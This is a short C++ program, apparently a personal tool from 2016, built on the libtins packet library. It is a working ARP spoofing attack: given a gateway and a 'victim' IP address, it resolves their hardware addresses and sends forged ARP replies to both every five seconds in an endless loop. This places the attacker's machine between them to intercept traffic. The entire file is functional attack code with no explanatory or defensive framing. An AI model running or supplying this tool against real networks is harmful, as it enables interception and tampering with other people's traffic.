/***************
* Author : 5kyc1ad
* 2016.04.26 : 11:52
****************/
#include <tins/tins.h>
#include <unistd.h>
using namespace Tins;
using namespace std;
void arpSpoofing(IPv4Address, IPv4Address);
int main(int argc, char *argv[])
{
if(argc !=3) {
cout << "[*] Usage : " << argv[0] << " [Gateway] [Victim]" << endl;
return 1;
}
IPv4Address gateway, victim;
try {
gateway = argv[1];
victim = argv[2];
} catch(...) {
cout << "[*] Please input arguments correctly" << endl;
return 1;
}
try {
arpSpoofing(gateway, victim);
} catch (runtime_error& ex){
cout << "[*] Runtime Error : " << ex.what() << endl;
return 1;
}
return 0;
}
void arpSpoofing(IPv4Address gateway, IPv4Address victim) {
NetworkInterface iface;
NetworkInterface::Info info;
try {
iface = gateway;
info = iface.addresses();
} catch(runtime_error& ex){
cout << ex.what() << endl;
return;
}
PacketSender sender;
EthernetII::address_type gw_hw, victim_hw;
gw_hw = Utils::resolve_hwaddr(iface, gateway, sender);
victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
cout << "[*][*] Attack Configure" << endl;
cout << "[*] Gateway : " << gateway << ", " << gw_hw << endl;
cout << "[*] Victim : " << victim << ", " << victim_hw << endl;
cout << "[*] Own_IP : " << info.ip_addr << ", " << info.hw_addr << endl;
ARP arp_toGateway(gateway, victim, gw_hw, info.hw_addr), arp_toVictim(victim, gateway, victim_hw, info.hw_addr);
arp_toGateway.opcode(ARP::REPLY);
arp_toVictim.opcode(ARP::REPLY);
// Generate Ethernet Packet for Capsulation
EthernetII eth_toGateway = EthernetII(gw_hw, info.hw_addr) / arp_toGateway;
EthernetII eth_toVictim = EthernetII(victim_hw, info.hw_addr) / arp_toVictim;
cout << "[*][*] Attack Start" << endl;
while(true) {
sender.send(eth_toGateway, iface);
sender.send(eth_toVictim, iface);
clog << "[*] Do ARP Spoofing" << endl;
sleep(5);
}
}